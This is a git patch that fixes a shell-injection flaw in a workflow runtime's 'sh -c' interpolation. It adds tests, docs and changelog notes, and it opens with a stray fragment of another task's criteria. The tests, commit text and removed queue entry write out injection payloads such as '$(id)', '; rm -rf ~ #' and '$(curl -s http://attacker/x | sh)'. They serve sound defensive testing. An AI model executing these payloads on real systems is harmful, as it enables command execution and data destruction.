criteria +- The local-source install/build path runs `npm ci` (not bare `npm install`) when a lockfile is present; a test or script assertion covers that command choice. +- The runtime dependency `jose` is exact-pinned (no caret/`^`) in `package.json`; a test or fixture asserts the version string has no range operator. +- A clean checkout with an intact `package-lock.json` still installs and builds successfully after the change. From 2eb39519e87c0b7f089b39294f2b08ef94f426b4 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 09:18:34 +0200 Subject: [PATCH 11/86] Fix: shell-quote values interpolated into workflow shell steps MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Free-form workflow body lines run via `sh -c` after Jaiph substitutes `${var}` references, and the runtime used to splice in the raw value. A caller-controlled value such as `name = "$(id)"` or `name = "; rm -rf ~ #"` could therefore inject a command, and `jaiph mcp` / `jaiph serve` bind request arguments to workflow parameters positionally, so an untrusted caller reached this sink directly (finding H-1). The runtime now passes every value interpolated into a shell fallthrough line through `shellQuote` (the single canonical `printf %q`-style escaper, now exported from prompt.ts) before it reaches `sh -c`. This covers parameters, `const` values, prompt and other captures, `for` loop iterators, channel payloads, and inline `${run …}` / `${ensure …}` capture results; a value like `$(id)` is echoed literally and never evaluated. Non-shell string positions (`const` / `return` / `send` / `say` / `prompt`) keep the raw value. The compile-time `W_PROMPT_IN_SHELL` diagnostic still fires to steer prompt captures toward the safer argv path. Adds a unit test covering each value provenance and an e2e test that drives the `jaiph serve` positional param path with `$(id)` and a `touch` marker, asserting neither is shell-evaluated. Docs and changelog updated; dequeues the task from QUEUE.md. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 4 + QUEUE.md | 16 --- docs/architecture.md | 2 +- docs/language.md | 4 +- docs/mcp.md | 2 +- docs/sandboxing.md | 10 +- docs/serve.md | 2 +- e2e/test_all.sh | 1 + e2e/tests/152_shell_injection_serve.sh | 91 ++++++++++++ ...e-workflow-runtime.shell-injection.test.ts | 131 ++++++++++++++++++ src/runtime/kernel/node-workflow-runtime.ts | 26 +++- src/runtime/kernel/prompt.ts | 6 +- src/runtime/kernel/runtime-arg-parser.ts | 24 +++- 13 files changed, 283 insertions(+), 36 deletions(-) create mode 100755 e2e/tests/152_shell_injection_serve.sh create mode 100644 src/runtime/kernel/node-workflow-runtime.shell-injection.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index bfd4c901..79919368 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,8 +2,12 @@ ## Summary +- **Shell steps no longer splice untrusted values into `sh -c`:** every value interpolated into a workflow shell step is shell-quoted first, so a workflow parameter, capture, `for` iterator, or channel payload that contains shell metacharacters is passed to the shell as data and cannot inject a command, including when the value is bound through `jaiph mcp` or `jaiph serve`. + ## All changes +- **Security — shell-quote every value interpolated into a workflow shell step (finding H-1):** a free-form workflow body line runs via `sh -c` after Jaiph substitutes `${var}` references, and it used to substitute the raw value, so a caller-controlled value such as `name = "$(id)"` or `name = "; rm -rf ~ #"` could inject a command. `jaiph mcp` and `jaiph serve` bind request arguments to workflow parameters positionally, so an untrusted caller reached this sink directly. The runtime now passes every interpolated value through `shellQuote` (the single canonical `printf %q`-style escaper in `src/runtime/kernel/prompt.ts`) before it reaches `sh -c`, covering parameters, `const` values, prompt and other captures, `for` loop iterators, channel payloads, and inline `${run …}` / `${ensure …}` capture results. A value like `$(id)` is now echoed literally and never evaluated. Non-shell string positions (`const` / `return` / `send` / `say` / `prompt`) keep the raw value. The compile-time `W_PROMPT_IN_SHELL` diagnostic still fires for prompt captures and steers you to the safer argv path (`run my_script(x)` → `$1`), which passes the value unchanged. + # 0.12.0 ## Summary diff --git a/QUEUE.md b/QUEUE.md index d3e4fd32..54c2a5ae 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Stop splicing untrusted workflow values into `sh -c` #dev-ready - -Context: ASI-01/ASI-02, HIGH, confidence 0.85. Finding H-1 — the flagship shell-injection sink, traced end-to-end and confirmed by hand. - -Problem: Any non-keyword line in a `workflow { … }` block falls through to a `shell` exec body (`shellFallthrough`, `workflow-brace.ts:769-772`). At runtime the body is interpolated with a bare `String.replace` of `${name}` (zero shell escaping, `runtime-arg-parser.ts:31-44`) and handed to `spawnAndCapture(resolveShell(), ["-c", command], …)` (`executeShLine`, `node-workflow-runtime.ts:1673-1675`). Workflow parameters are caller-controlled: `jaiph mcp`/`jaiph serve` bind tool-call arguments positionally to params (`mcp.ts:129-141`). A caller (or a prompt-injected model) invoking `greet(name)` with `name = "$(curl -s http://attacker/x | sh)"` or `name = "; rm -rf ~ #"` gets arbitrary command execution — host RCE under `--unsafe`/standalone image, in-sandbox code execution + credential theft otherwise. The only guard, `warnPromptInShellLine` (`validate-step.ts:626-649`), inspects `ctx.promptCaptures` only, so it misses parameters, non-prompt captures, channel, and nested-`run` values. - -Location: `src/runtime/kernel/node-workflow-runtime.ts:1076-1091` and `:1673-1675`; `src/runtime/kernel/runtime-arg-parser.ts:31-44`; `src/parse/workflow-brace.ts:769-772`; `src/transpile/validate-step.ts:626-649`. - -Remediation: Never splice runtime values into `sh -c`. Route them through argv (as `script` steps already do — `run my_script(name)`), or shell-quote every interpolated `${var}` before it enters `sh -c` (a `shellQuote` already exists at `prompt.ts:170-181`). At minimum upgrade the guard to a hard error that fires for any interpolated variable — parameter, capture, iterator, or channel value — in a `shell` body. - -### Acceptance criteria -- A workflow `greet(name) { echo "Hello ${name}" }` invoked with `name = "$(id)"` (via mcp/serve param binding or direct run) does not execute the command substitution — output contains the literal `$(id)` text, not the result of `id`. -- Invoking the same workflow with `name = "; touch /tmp/pwned #"` does not create `/tmp/pwned` (no shell metacharacter breakout). -- A test exercises the mcp/serve positional param path (`args[p]`) reaching a `shell` body and asserts no interpolated value is shell-evaluated. -- If the chosen fix is a hard guard rather than escaping, compiling a `shell` body that interpolates any parameter/capture/iterator/channel variable is a hard error (not a warning), and a test asserts the error for each provenance. - ## Exclude host-only `JAIPH_SERVE_*` keys from the sandbox env forward #dev-ready Context: ASI-08/ASI-05, HIGH, confidence 0.80. Finding H-2 — the serve operator bearer token crosses the sandbox boundary. diff --git a/docs/architecture.md b/docs/architecture.md index 9bf5741b..a887a219 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -74,7 +74,7 @@ All orchestration uses the Node workflow runtime, which is the AST interpreter, - `NodeWorkflowRuntime` interprets the AST directly: walks workflow steps, manages scope/variables, delegates prompt and script execution to kernel helpers, handles channels/inbox/dispatch, owns the frame stack and heartbeat, and writes run artifacts. - **Script steps execute via an explicit interpreter, not the shebang + exec bit.** `executeScript` reads the emitted script's shebang line, resolves the interpreter through **`resolveInterpreterFromShebang`** (`src/parse/script-bash.ts`) — `#!/usr/bin/env ` → spawn ``, an absolute-path shebang → spawn that path, a missing shebang → default `bash` — and spawns ` `. This is portable: it does not depend on the OS honoring the shebang (Windows honors neither shebang nor exec bit) or on the file's `0o755` bit (`noexec` mounts strip it). The shebang line is **still** written into every emitted script (they stay directly executable by hand on POSIX), but the runtime never relies on it being honored. A spawn `ENOENT` from a missing interpreter surfaces as a diagnosable Jaiph error naming the interpreter rather than a raw `ENOENT`. - **Inline shell lines resolve their shell through one portable seam.** A single-line shell step (`executeShLine`) and CLI hook commands (`src/cli/run/hooks.ts`) both run under POSIX `sh -c`, but the shell itself is resolved through **`resolveShell()`** (`src/runtime/kernel/portability.ts`) rather than a hardcoded `spawn("sh", …)`. On POSIX this is bare `sh`; on **`win32`**, where there is no `sh` on the default `PATH`, it discovers Git for Windows' bundled `sh.exe` — first on `PATH`, then in the standard install layouts (`/bin/sh.exe`, `/usr/bin/sh.exe`) under each known root — memoizes the result for the process, and throws a diagnosable **`E_NO_POSIX_SHELL`** error naming Git for Windows if none is found. Inline lines are **never** translated to `cmd`/PowerShell: Jaiph's shell semantics are POSIX `sh` on every platform, so the seam only ever chooses *which* `sh` to invoke, never rewrites the command — otherwise workflows would stop being portable. `resolveShell()` is the single call site for the POSIX shell; no other `spawn("sh", …)` remains in `src/`. - - One private `evaluateExpr(scope, expr, …)` dispatcher handles every value position — `const` / `return` / `send` / `say` step handlers and the body of every `exec` step delegate to it. It switches on `Expr.kind` to run the managed call (`call` / `ensure_call` / `inline_script`) or `prompt`, walks a `match` expression, or interpolates a `literal` value through `interpolateWithCaptures`. There is no fan-out across "managed sidecar vs literal value" because that branch is gone from the AST. + - One private `evaluateExpr(scope, expr, …)` dispatcher handles every value position — `const` / `return` / `send` / `say` step handlers and the body of every `exec` step delegate to it. It switches on `Expr.kind` to run the managed call (`call` / `ensure_call` / `inline_script`) or `prompt`, walks a `match` expression, or interpolates a `literal` value through `interpolateWithCaptures`. There is no fan-out across "managed sidecar vs literal value" because that branch is gone from the AST. `interpolateWithCaptures` takes an optional `quoteValue` escaper: shell-fallthrough lines pass **`shellQuote`** (`src/runtime/kernel/prompt.ts`, the single canonical escaper) so every interpolated value — parameter, capture, `for` iterator, channel payload, and inline `${run …}` / `${ensure …}` capture result — is shell-quoted before it reaches `sh -c`, while every other value position interpolates the raw value. This is the one `sh -c` interpolation sink, so a caller-controlled value bound through `jaiph mcp` / `jaiph serve` cannot inject a command (finding H-1). - **Prompt transport-failure retry.** `runPromptStep` wraps each `executePrompt` invocation in a retry loop driven by the schedule resolved through `src/runtime/kernel/prompt-retry.ts` (default `15s → 1m → 10m → 30m → 2h`, six total attempts; configurable via `JAIPH_PROMPT_RETRY` / `JAIPH_PROMPT_RETRY_DELAYS`). Only the transport path (non-zero exit from the backend) is retried; invalid JSON and schema-validation failures return `{ ok: false }` on the first attempt. Each attempt emits its own `PROMPT_START` / `PROMPT_END` and `STEP_START` / `STEP_END`; each failure (and the final termination) logs a `LOGERR` through `RuntimeEventEmitter.emitLog`. The backoff sleep is injectable (`sleep` constructor option) and interruptible via `runtime.abort()` / an internal `AbortController` so SIGINT and in-process aborts halt the loop without further backend calls. Retry composes **below** `recover` / `catch` — backoff is exhausted before the failure reaches the recover loop. See [Configuration — Prompt retry on transport failure](configuration.md#prompt-retry-on-transport-failure). - **Idle-step warnings.** While a leaf step (script or prompt) produces no stdout/stderr, the runtime emits a `LOGWARN` on a fixed cadence — `JAIPH_STEP_IDLE_WARN_SEC` (default 180s, so 180s / 360s / 540s / …) — through `createStepIdleOutputWarn` (`src/runtime/kernel/step-idle-warn.ts`); the next output chunk resets the cadence. This surfaces a stalled backend or long-running command without failing the run. - Three sibling modules under `src/runtime/kernel/` carry concerns that used to live inline in the runtime file. Dependency direction is one-way (orchestrator → helpers/emitter/mock); no circular imports back. diff --git a/docs/language.md b/docs/language.md index 26de0a7f..cbc94cb1 100644 --- a/docs/language.md +++ b/docs/language.md @@ -208,7 +208,7 @@ Sends text to the configured agent backend. The body can take one of these forms | Typed `returns` | Flat `{ field: type, … }` with `string` / `number` / `boolean`. Stored verbatim as text per-field. | | Capture required when `returns` | `prompt … returns "…"` without `const` is `E_PARSE`. | | Dot notation | Bare `result.field` (in `return`, `if` / `match` subjects, and call arguments) and `${result.field}` **inside strings** require that the base is a typed-prompt capture and the field appears in the schema. Unquoted `${result.field}` in call-argument position is `E_VALIDATE`. | -| Interpolation into shell steps | A prompt capture (`const x = prompt …`, typed or untyped) interpolated into a workflow shell step — e.g. `echo "${x}"` as a free-form body line — is `W_PROMPT_IN_SHELL`. Shell steps run via `sh -c` on the interpolated string, so the agent-controlled value is spliced into the command. Pass it as a script argument instead (`run my_script(x)` → `$1`, which is argv, not shell-expanded). Only shell steps are flagged; `run script(x)`, `log`, `logerr`, and non-prompt variables are not. See [Sandboxing — Prompt captures in shell steps](sandboxing.md#prompt-in-shell). | +| Interpolation into shell steps | A prompt capture (`const x = prompt …`, typed or untyped) interpolated into a workflow shell step — e.g. `echo "${x}"` as a free-form body line — is `W_PROMPT_IN_SHELL`. Shell steps run via `sh -c`, and the runtime shell-quotes every value it interpolates into the line, so an agent-controlled value reaches the shell as data and cannot inject a command; the diagnostic still fires to steer you to the argv path. Pass it as a script argument instead (`run my_script(x)` → `$1`, which is argv, not shell-expanded). Only shell steps are flagged; `run script(x)`, `log`, `logerr`, and non-prompt variables are not. See [Sandboxing — Prompt captures in shell steps](sandboxing.md#prompt-in-shell). | | Rule scope | Forbidden — `prompt` and `const … = prompt` are rejected at parse time (`E_PARSE`) inside rules. | | Transport retry | Transport failures retry on a backoff schedule; deterministic post-processing failures do not. See [Configuration — Prompt retry on transport failure](configuration.md#prompt-retry-on-transport-failure). | @@ -409,6 +409,8 @@ No string-RHS site accepts two of these but rejects the third. If an inline capture fails, the enclosing step fails. Nested inline captures (`${run foo(${run bar()})}`) are `E_PARSE` — extract the inner call to a `const`. +Values interpolated into a workflow shell step (a free-form body line that runs via `sh -c`) are shell-quoted first, so a value that contains shell metacharacters is passed to the shell as data and cannot inject a command. Every other string position interpolates the raw value. See [Sandboxing — Prompt captures in shell steps](sandboxing.md#prompt-in-shell). + ## Rule scope restrictions Rules accept the same step set as workflows except: diff --git a/docs/mcp.md b/docs/mcp.md index a9235e52..c34c2756 100644 --- a/docs/mcp.md +++ b/docs/mcp.md @@ -157,7 +157,7 @@ The server shuts down when stdin closes or on `SIGINT` or `SIGTERM`. Either way ## Safety posture -An exposed workflow is arbitrary shell that the connected agent can run, which is the point of the feature. Treat every exposed workflow as code the client may run at any time, and limit the exposed set with `export`. +An exposed workflow is arbitrary shell that the connected agent can run, which is the point of the feature. Treat every exposed workflow as code the client may run at any time, and limit the exposed set with `export`. A tool-call argument that binds to a workflow parameter is shell-quoted before it reaches any shell step, so an argument value cannot inject extra shell commands, though the client can still run whatever the exposed workflow itself does. Tool calls use the same env-driven Docker sandbox as `jaiph run` (see [Sandboxing](sandboxing.md)). Docker is on by default on macOS and Linux. It is off under `JAIPH_UNSAFE=true` and on Windows, where calls run on the host. Jaiph prepares the image once when the server starts, not per call. diff --git a/docs/sandboxing.md b/docs/sandboxing.md index d9fc22d0..10685ba8 100644 --- a/docs/sandboxing.md +++ b/docs/sandboxing.md @@ -118,9 +118,11 @@ Jaiph lists these limits because a sandbox that claims too much is worse than on ## Prompt captures in shell steps {#prompt-in-shell} -A workflow can receive free-form text from an agent through a `prompt` step and then use that value in later steps. The value is controlled by the agent or user by design, and how it reaches later steps affects how much damage it can do. +A workflow can receive free-form text from an agent through a `prompt` step and then use that value in later steps. The value is controlled by the agent or user by design, so a shell step has to treat it as data and never as a command to run. -The hazard is this. Workflow shell steps, which are free-form lines in a workflow body, run through `sh -c` after Jaiph substitutes `${varName}` references. If `varName` holds a prompt capture, which is text written by an agent or entered interactively, that text is placed directly into the shell command string. A value like `` `id` `` or `; rm -rf .` can then be read by the shell as commands rather than as data: +Workflow shell steps, which are free-form lines in a workflow body, run through `sh -c` after Jaiph substitutes `${varName}` references. Before the runtime substitutes a value into a shell step, it shell-quotes the value, so a value like `` `id` `` or `; rm -rf .` reaches the shell as literal data and is never read as commands. The quoting covers every value a shell step can interpolate, including workflow parameters, `const` values, prompt and other captures, `for` loop iterators, channel payloads, and inline `${run …}` / `${ensure …}` capture results. A caller who reaches a shell step through `jaiph mcp` or `jaiph serve`, where request arguments bind to workflow parameters, cannot inject a command this way. + +The compiler adds a second layer for prompt captures. It emits a `W_PROMPT_IN_SHELL` diagnostic when a prompt capture is interpolated into a shell step: ```jaiph workflow default() { @@ -129,7 +131,7 @@ workflow default() { } ``` -The compiler emits a `W_PROMPT_IN_SHELL` diagnostic for any shell step that substitutes a prompt capture. The diagnostic fails the build. `jaiph compile` exits non-zero and `jaiph run` refuses to start, through the same recoverable-error channel every other `E_` or `W_` diagnostic uses, because Jaiph has no separate non-fatal warning level today. Inside the default Docker sandbox the damage is limited, but under `--unsafe` (host-only mode) or `--inplace`, the host is affected directly. +The diagnostic fails the build. `jaiph compile` exits non-zero and `jaiph run` refuses to start, through the same recoverable-error channel every other `E_` or `W_` diagnostic uses, because Jaiph has no separate non-fatal warning level today. It steers you toward the argv path below, which keeps an agent-controlled value out of the shell command string in the first place. The safe pattern is to pass prompt captures as named arguments to a `script` step. Scripts receive arguments through `$1 $2 …` as argv, not as shell-expanded strings, so there is no substitution step between the capture value and the script's argument. @@ -162,7 +164,7 @@ When the diagnostic fires and when it does not: To resolve the diagnostic, remove the prompt capture from the shell line. There is no inline suppress comment and no non-fatal-warning mode. The intended fix is the argv path above. Move the shell line into a named or inline `script` that receives the value as `$1`, which is both the safe form and the form the compiler accepts. Rewriting the substitution with your own shell quoting inside the same shell step does not clear the diagnostic, because the check flags the data flow of a prompt capture reaching a shell step, not the specific escaping. -Under `--unsafe` or `--inplace`, the host filesystem is fully exposed, so the hazard is real even for a shell step that looks harmless. The compile-time diagnostic is the main defense. Runtime quoting is a second layer, and the named-script argv path provides it automatically. +Under `--unsafe` or `--inplace`, the host filesystem is fully exposed, so any command a shell step runs takes effect directly on the host. Runtime shell-quoting keeps an interpolated value from injecting extra commands, whatever its source, and the compile-time diagnostic steers prompt captures onto the argv path. The argv path is still the form to prefer, because passing a value as `$1` hands the script the exact bytes with no quoting applied. Shell-quoting a value that contains shell metacharacters changes how it prints. For example, a value of `$(id)` interpolated into `echo "${name}"` prints as the literal `$\(id\)`, because the runtime escaped it. A script that reads the value as `$1` receives `$(id)` unchanged. ## Why opt-out, not opt-in diff --git a/docs/serve.md b/docs/serve.md index bfd5abce..0c4d419e 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -10,7 +10,7 @@ This guide turns a `.jh` file into an HTTP API. `jaiph serve ./tools.jh` exposes It reuses the same compile-time validation, sandboxed execution, and `.jaiph/runs/` artifacts as [`jaiph run`](cli.md#jaiph-run), and the same exposure rules as [`jaiph mcp`](mcp.md). `jaiph mcp` binds the server to a stdio parent on the same machine, and `jaiph serve` instead makes the workflows reachable over the network. -> **Security.** An exposed workflow is arbitrary shell that anyone who can reach the port can run, and that is the point of serving it. When a token is set, the caller must also hold the token. Bind to loopback for local use. For anything else, configure authentication, put the server behind a reverse proxy or ingress that terminates TLS, and treat the run directory as sensitive. The process itself speaks plain HTTP. For authentication, use a static `JAIPH_SERVE_TOKEN` for a single operator, or OIDC/JWT for multiple users (see [Authenticate and authorize](#7-authenticate-and-authorize)). +> **Security.** An exposed workflow is arbitrary shell that anyone who can reach the port can run, and that is the point of serving it. A request argument that binds to a workflow parameter is shell-quoted before it reaches any shell step, so a caller cannot use an argument value to inject extra shell commands, though the caller can still run whatever the exposed workflow itself does. When a token is set, the caller must also hold the token. Bind to loopback for local use. For anything else, configure authentication, put the server behind a reverse proxy or ingress that terminates TLS, and treat the run directory as sensitive. The process itself speaks plain HTTP. For authentication, use a static `JAIPH_SERVE_TOKEN` for a single operator, or OIDC/JWT for multiple users (see [Authenticate and authorize](#7-authenticate-and-authorize)). ## Prerequisites diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 38eeb8cb..4b366c9e 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -109,6 +109,7 @@ TEST_SCRIPTS=( "e2e/tests/140_env_passthrough.sh" "e2e/tests/141_mcp_docker_sandbox.sh" "e2e/tests/147_serve_http_api.sh" + "e2e/tests/152_shell_injection_serve.sh" "e2e/tests/149_mcp_generation_lifecycle.sh" "e2e/tests/146_trusted_envs.sh" "e2e/tests/148_standalone_image.sh" diff --git a/e2e/tests/152_shell_injection_serve.sh b/e2e/tests/152_shell_injection_serve.sh new file mode 100755 index 00000000..5c792949 --- /dev/null +++ b/e2e/tests/152_shell_injection_serve.sh @@ -0,0 +1,91 @@ +#!/usr/bin/env bash +# +# security — shell injection through the `jaiph serve` param path (finding H-1) +# ============================================================================ +# Black-box coverage that a caller-controlled workflow parameter cannot inject +# a shell command when it lands in a `shell` fallthrough body. `jaiph serve` +# binds request arguments positionally (`spec.params.map((p) => args[p] ?? "")` +# in src/cli/commands/serve.ts), so a POST body `{"name": "$(id)"}` is exactly +# the `args[p]` path the finding calls out. The runtime shell-quotes every +# interpolated value before it reaches `sh -c`, so the substitution must NOT +# execute. +# +# Observed side effects (real content equality is not feasible for the run JSON +# — volatile run_dir/timestamps — so we assert the meaningful signals): +# - a `$(id)` param is echoed into an artifact literally, never evaluated +# (the downloaded artifact must not contain `uid=`). +# - a `$(touch )` param does not create the marker file. + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" +trap e2e::cleanup EXIT + +e2e::prepare_test_env "shell_injection_serve" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +if ! command -v python3 >/dev/null 2>&1; then + e2e::fail "python3 required for JSON response validation" +fi +if ! command -v curl >/dev/null 2>&1; then + e2e::fail "curl required for HTTP e2e" +fi + +# `greet_shell` interpolates the caller's `name` into a `shell` fallthrough body +# (the `echo …` line is not a keyword, so it compiles to a shell exec) and +# redirects it into the run's artifacts dir so we can download the result. +e2e::file "tools.jh" <<'EOF' +# Echoes the greeting into an artifact via a shell line. +workflow greet_shell(name) { + echo "Hello ${name}" > "$JAIPH_ARTIFACTS_DIR/greeting.txt" +} +EOF + +e2e::section "jaiph serve param does not inject shell commands into a shell body" + +serve_err="${TEST_DIR}/serve_stderr.txt" +: >"${serve_err}" + +jaiph serve --port 0 "${TEST_DIR}/tools.jh" >/dev/null 2>"${serve_err}" & +E2E_SERVER_PID="$!" + +port="" +for _ in $(seq 1 50); do + port="$(sed -nE 's#.*listening on http://[^:]+:([0-9]+).*#\1#p' "${serve_err}" | head -1)" + if [[ -n "${port}" ]]; then + break + fi + sleep 0.2 +done +if [[ -z "${port}" ]]; then + printf 'serve stderr:\n%s\n' "$(cat "${serve_err}")" >&2 + e2e::fail "jaiph serve did not print a listen URL" +fi +base="http://127.0.0.1:${port}" + +# --- $(id) command substitution is not evaluated --- +run_json="$(curl -s -X POST "${base}/v1/workflows/greet_shell/runs?wait=true" \ + -H 'content-type: application/json' -d '{"name":"$(id)"}')" +run_id="$(printf '%s' "${run_json}" | python3 -c 'import json,sys; print(json.load(sys.stdin)["run_id"])')" +run_status="$(printf '%s' "${run_json}" | python3 -c 'import json,sys; print(json.load(sys.stdin)["status"])')" +e2e::assert_equals "${run_status}" "succeeded" "greet_shell run completes" + +art_file="${TEST_DIR}/downloaded_greeting.txt" +curl -s "${base}/v1/runs/${run_id}/artifacts/greeting.txt" -o "${art_file}" +# Full-content equality: the $(id) text survives literally (shell-quoted), so +# the byte content is fixed. If the substitution had run, this would contain the +# host's `uid=…` and the equality would fail. +e2e::assert_equals "$(cat "${art_file}")" 'Hello $\(id\)' \ + "\$(id) is echoed literally into the artifact, never evaluated" + +# --- $(touch marker) does not create a file --- +marker="${TEST_DIR}/pwned.txt" +rm -f "${marker}" +curl -s -X POST "${base}/v1/workflows/greet_shell/runs?wait=true" \ + -H 'content-type: application/json' \ + -d "{\"name\":\"\$(touch ${marker})\"}" >/dev/null +if [[ -f "${marker}" ]]; then + e2e::fail "shell injection: \$(touch) executed — marker file was created" +fi +e2e::pass "\$(touch ) param created no file (no command execution)" diff --git a/src/runtime/kernel/node-workflow-runtime.shell-injection.test.ts b/src/runtime/kernel/node-workflow-runtime.shell-injection.test.ts new file mode 100644 index 00000000..b8c431d5 --- /dev/null +++ b/src/runtime/kernel/node-workflow-runtime.shell-injection.test.ts @@ -0,0 +1,131 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { buildRuntimeGraph } from "./graph"; +import { NodeWorkflowRuntime } from "./node-workflow-runtime"; +import { loadModuleGraph } from "../../transpile/module-graph"; +import { buildScriptsFromGraph } from "../../transpiler"; + +// Security regression for finding H-1: caller-controlled workflow values must +// never be spliced unescaped into a `sh -c` shell-fallthrough body. Every value +// the runtime interpolates into a shell line is passed through `shellQuote` +// first, so a `$(…)` command substitution or a `; …` metacharacter breakout in +// a parameter / capture value cannot execute. +// +// `runRoot(ref, positionalArgs)` binds args to the workflow's params by +// position — the exact same positional binding that `jaiph mcp` / `jaiph serve` +// perform: `spec.params.map((p) => args[p] ?? "")` (see src/cli/commands/mcp.ts +// and src/cli/commands/serve.ts) produces a positional array that reaches the +// runner as `runRoot(name, args)`. Driving `runRoot` with a hostile positional +// value therefore exercises the mcp/serve `args[p]` path into a shell body. + +function makeRuntime(root: string, jh: string): NodeWorkflowRuntime { + const moduleGraph = loadModuleGraph(jh); + // Emit `scripts/` so the `emit_danger` script def is executable at runtime. + const { scriptsDir } = buildScriptsFromGraph(moduleGraph, root); + const graph = buildRuntimeGraph(moduleGraph); + const env: NodeJS.ProcessEnv = { + ...process.env, + JAIPH_TEST_MODE: "1", + JAIPH_RUNS_DIR: join(root, ".jaiph", "runs"), + JAIPH_SCRIPTS: scriptsDir, + // Shell-fallthrough lines run with cwd = JAIPH_WORKSPACE, so relative + // redirects below land deterministically in `root`. + JAIPH_WORKSPACE: root, + }; + return new NodeWorkflowRuntime(graph, { env, cwd: root, suppressLiveEvents: true }); +} + +const TOOLS = [ + // Quoted shell body — the flagship AC example. + "workflow greet(name) {", + ' echo "Hello ${name}" > greeting.txt', + "}", + "", + // Unquoted shell body — where a `;`/`#` payload could actually break out of + // word boundaries if the value were not escaped. + "workflow greet_bare(name) {", + " echo Hello ${name} > greeting_bare.txt", + "}", + "", + // Inline `${run …}` capture spliced into a shell body: the captured value is + // also caller-influenced and must be shell-quoted (the old warn-only guard + // inspected prompt captures only and missed this provenance). + "script emit_danger = `printf '$(id)'`", + "workflow cap() {", + ' echo "captured ${run emit_danger()}" > cap.txt', + "}", + "", +].join("\n"); + +function setup(prefix: string): { root: string; jh: string } { + const root = mkdtempSync(join(tmpdir(), prefix)); + const jh = join(root, "tools.jh"); + writeFileSync(jh, TOOLS); + return { root, jh }; +} + +// AC1: `greet(name)` invoked with `name = "$(id)"` does not execute the command +// substitution — the `$(id)` text survives literally (escaped), `id` never runs. +test("shell injection: command substitution in a param does not execute", async () => { + const { root, jh } = setup("jaiph-shinj-cmdsub-"); + try { + const runtime = makeRuntime(root, jh); + const status = await runtime.runRoot("greet", ["$(id)"]); + assert.equal(status, 0, "workflow ran to completion"); + const out = readFileSync(join(root, "greeting.txt"), "utf8"); + assert.doesNotMatch(out, /uid=/, "`id` output must not appear — command substitution did not run"); + assert.equal(out, "Hello $\\(id\\)\n", "the $(id) text is emitted literally (shell-quoted), not evaluated"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +// AC2: a `$(touch …)` command substitution inside the quoted body creates no +// file — the substitution is neutralised even inside double quotes (where +// `$(…)` would otherwise still expand). +test("shell injection: $(touch) in a param creates no file (quoted body)", async () => { + const { root, jh } = setup("jaiph-shinj-touch-"); + try { + const runtime = makeRuntime(root, jh); + const status = await runtime.runRoot("greet", ["$(touch pwned.txt)"]); + assert.equal(status, 0); + assert.ok(!existsSync(join(root, "pwned.txt")), "no file created — $(touch) did not execute"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +// AC2 (exact payload from the task) plus an unquoted body, where `;` could +// otherwise terminate the `echo` and start a new `touch` command. +test("shell injection: '; touch … #' in a param creates no file (unquoted body)", async () => { + const { root, jh } = setup("jaiph-shinj-metachar-"); + try { + const runtime = makeRuntime(root, jh); + const status = await runtime.runRoot("greet_bare", ["; touch pwned_bare.txt #"]); + assert.equal(status, 0); + assert.ok(!existsSync(join(root, "pwned_bare.txt")), "no file created — metacharacters did not break out"); + const out = readFileSync(join(root, "greeting_bare.txt"), "utf8"); + assert.equal(out, "Hello ; touch pwned_bare.txt #\n", "the payload is echoed literally"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +// The `capture` provenance the old prompt-only guard missed: an inline +// `${run …}` result carrying `$(id)` is shell-quoted before it re-enters sh. +test("shell injection: an inline capture value is shell-quoted, not re-evaluated", async () => { + const { root, jh } = setup("jaiph-shinj-capture-"); + try { + const runtime = makeRuntime(root, jh); + const status = await runtime.runRoot("cap", []); + assert.equal(status, 0); + const out = readFileSync(join(root, "cap.txt"), "utf8"); + assert.doesNotMatch(out, /uid=/, "captured $(id) must not execute in the outer shell line"); + assert.equal(out, "captured $\\(id\\)\n", "the captured $(id) is emitted literally (shell-quoted)"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); diff --git a/src/runtime/kernel/node-workflow-runtime.ts b/src/runtime/kernel/node-workflow-runtime.ts index 029227bc..a087ef20 100644 --- a/src/runtime/kernel/node-workflow-runtime.ts +++ b/src/runtime/kernel/node-workflow-runtime.ts @@ -15,6 +15,7 @@ import { resolveModel, resolvePromptConfig, resolvePromptStepName, + shellQuote, } from "./prompt"; import { appendRunSummaryLine } from "./emit"; import { buildStepDisplayParamPairs } from "../../cli/commands/format-params.js"; @@ -610,20 +611,26 @@ export class NodeWorkflowRuntime { private static readonly INLINE_CAPTURE_RE = /\$\{(run|ensure)\s+([^}]+)\}/g; /** - * Interpolate string with inline captures: ${run ref [args]} / ${ensure ref [args]}. - * Executes each capture, replaces with output, then does regular ${var} interpolation. - * Returns { ok: true, value } on success or { ok: false, result } on failure. + * Interpolate `${var}` refs and inline `${run ref [args]}` / `${ensure ref [args]}` + * captures: each capture is executed and replaced with its output, then regular + * `${var}` interpolation runs. Returns { ok: true, value } or { ok: false, result }. + * + * `quoteValue` (only passed for shell-fallthrough lines — `shellQuote`) escapes + * every substituted value, both `${var}` refs and inline-capture results, so no + * caller-controlled value can be re-evaluated by `sh -c`. All other value + * positions omit it and interpolate raw. */ private async interpolateWithCaptures( input: string, scope: Scope, + quoteValue?: (s: string) => string, ): Promise<{ ok: true; value: string } | { ok: false; result: StepResult }> { // Resolve any handle-valued vars referenced in the input before interpolating. 